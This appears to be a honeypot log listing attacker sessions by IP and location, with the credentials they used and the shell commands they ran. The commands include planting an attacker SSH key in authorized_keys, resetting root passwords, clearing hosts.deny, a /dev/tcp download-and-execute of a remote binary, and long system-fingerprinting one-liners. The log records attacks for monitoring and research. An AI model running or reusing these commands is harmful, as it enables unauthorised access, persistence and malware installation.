$ echo -e "postgres\ndt5Baovp7g9T\ndt5Baovp7g9T"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\ndt5Baovp7g9T\ndt5Baovp7g9T\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_windmill_root_12 (91.92.40.12) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 269 cmds
2026-06-24 10:31 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release check via /etc/os-release โ†’ uptime sampling โ†’ PATH environment hardening โ†’ hardware profiling for resource assessment
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—21
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—31
$ /bin/uname -s -v -n -m 2 > /dev/null ร—29
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—29
$ busybox uname -s -v -n -m 2 > /dev/null ร—29
$ ( [ -f /proc/version ] ร—29
$ [ -f /proc/version ] ร—29
$ head -1 /proc/version | cut -d -f1 ร—29
$ [ -f /etc/os-release ] ร—29
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—6
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—2
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—2
$ uname -m 2 > /dev/null ร—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—2
๐ŸŽญ sullen_autobahn_crypto (138.68.78.206) โ€” Frankfurt am Main, Germany ยท 1 session ยท 1 cmd
2026-07-09 07:16 EDT ยท as eth/eth
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ glitchy_yankee_root (130.131.220.95) โ€” Des Moines, United States ยท 1 session ยท 2 cmds
2026-07-09 05:20 EDT ยท as oracle/1111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ashen_echo_root (138.124.158.150) โ€” Baghdad, Iraq ยท 1 session ยท 19 cmds
2026-07-09 03:57 EDT ยท as root/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:rZVobNBpmmfJ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_bazaar_root (5.11.135.25) โ€” Maltepe, Turkey ยท 1 session ยท 2 cmds
2026-07-09 03:46 EDT ยท as oracle/1111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_lotus_root (122.176.106.4) โ€” Delhi, India ยท 1 session ยท 1 cmd
2026-07-09 03:40 EDT ยท as root/123456
echo
$ echo -e "\x6F\x6B"
๐ŸŽญ arctic_k-pop_root (211.107.118.105) โ€” Seo-gu, South Korea ยท 1 session ยท 2 cmds
2026-07-09 01:12 EDT ยท as oracle/Oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_harbor_root (58.152.42.174) โ€” Banyan Garden, Hong Kong ยท 1 session ยท 2 cmds
2026-07-09 00:29 EDT ยท as oracle/Passw0rd@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_trident_root (79.143.45.75) โ€” Vinnytsia, Ukraine ยท 2 sessions ยท 22 cmds
2026-07-08 01:32 EDT ยท as oracle/oracle, user/password
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo -e "password\n04TA2pSoCOAj\n04TA2pSoCOAj"|passwd|bash โ†’ Enter new
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\n04TA2pSoCOAj\n04TA2pSoCOAj"|passwd|bash
$ Enter new UNIX password:
$ echo "password\n04TA2pSoCOAj\n04TA2pSoCOAj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_stein_root (95.208.74.83) โ€” Biberach an der Riss, Germany ยท 1 session ยท 19 cmds
2026-07-08 21:52 EDT ยท as root/1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:3dJlVIsrZPTE"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ cryptic_tulip_root (45.153.34.181) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-08 14:52 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ weary_chinar_root (110.93.224.226) โ€” Karachi, Pakistan ยท 1 session ยท 2 cmds
2026-07-08 15:49 EDT ยท as oracle/Bmw_20!_^
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_chai_root_170 (113.30.177.170) โ€” Pudukkottai, India ยท 1 session ยท 2 cmds
2026-07-08 13:48 EDT ยท as oracle/changeme
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_silk_root_187 (113.31.106.187) โ€” Yangpu, China ยท 1 session ยท 5 cmds
2026-07-08 12:48 EDT ยท as root/123456
make executable โ†’ execute from /tmp โ†’ XJ'8 โ†’ ?
$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/4RzIdO5H0G && chmod +x /tmp/4RzIdO5H0G && /tmp/4RzIdO5H0G SiLH/Ma1qsr42zhFSDrF/Muiu879xiJDQj3b/Mqotc36zzpCQzzF7c6qqNH+xCJDQjrb/Mesocn9xD9HGazBSgRp8vuHNKBrDA==" &
โ†ณ make executable
$ dd bs=1 count=1911588 > /tmp/bPu81Dq4Vc
โ†ณ execute from /tmp
$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/4RzIdO5H0G && chmod +x /tmp/4RzIdO5H0G && /tmp/4RzIdO5H0G SiLH/Ma1qsr42zhFSDrF/Muiu879xiJDQj3b/Mqotc36zzpCQzzF7c6qqNH+xCJDQjrb/Mesocn9xD9HGazBSgRp8vuHNKBrDA==" &0O0O6(6(Qtd?UPX!
โ†ณ make executable
$ >D6@/XJ'8
$
๐ŸŽญ weary_elephant_root (43.210.20.0) โ€” Bangkok, Thailand ยท 1 session ยท 1 cmd
2026-07-08 12:41 EDT ยท as root/1234
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ jittery_wok_root_75 (182.43.235.75) โ€” Jinan, China ยท 1 session ยท 20 cmds
2026-07-08 11:57 EDT ยท as admin/asdf1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "asdf1234\nVNwPUwgtODAx\nVNwPUwgtODAx"|passwd|bash
$ Enter new UNIX password:
$ echo "asdf1234\nVNwPUwgtODAx\nVNwPUwgtODAx\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brazen_scone_root (217.154.42.110) โ€” Worcester, United Kingdom ยท 1 session ยท 2 cmds
2026-07-08 05:16 EDT ยท as oracle/oracle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
